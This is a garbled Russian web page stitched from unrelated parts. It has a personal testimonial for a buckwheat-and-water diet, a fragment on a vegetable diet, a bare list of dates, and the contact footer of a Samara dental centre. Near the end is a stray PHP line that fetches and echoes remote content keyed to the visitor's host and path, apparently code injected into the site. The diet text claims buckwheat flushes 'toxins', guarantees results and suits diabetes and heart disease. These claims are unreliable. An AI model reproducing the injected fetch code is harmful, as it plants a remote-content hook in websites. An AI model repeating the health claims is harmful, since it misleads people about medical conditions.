Сама лично на этой диете сидела не один раз. Сила воли нужна колосальная, особенно на 3й недели. В сочетании с кефиром или зеленым чаем эта диета дает отменный результат. Уходят не только киллограмы и объемы. Гречка обладает таким свойством, как выведение шлаков из организма. Мало того, что вы стройнеете, так еще и здоровеете. Только необходимо продержаться 10ть дней в среднем (1-2 недели) и Вы увидете результат. Легкость, хорошее настроение и подъем жизненных сил гарантирую.
В гречке содержатся важнейшие питательные вещества: белки, жиры, углеводы, а также кальций, фосфор, йод, витамины B1 и B2, РР. Это одна из самых полезных круп.
Гречневая каша рекомендуется при атеросклерозе, гипертонии, сердечно-сосудистых заболеваниях, ожирении, диабете, заболеваниях пищеварительного тракта.
Я гречку готовила так: брала гречку из расчета как при обычной варке, и заливала крутым кипятком, ставила настаиваться на ночь, варить гречку не надо. Добавлять сахар, соль или другие ингредиенты нельзя. Только гречка на воде. Если совсем не в моготу, то разбавте ее кефиром 1% жирности.
После того, как прошли курс диеты, необходимо сделать перерыв хотя бы месяц.
Рекомендую.

Для диеты на овощах важно брать только свежие овощи, поэтому данная диета особенно рекомендована в период лета и осени, когда на столе много свежих недорогих овощей.

Быстрая диета на овощях
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта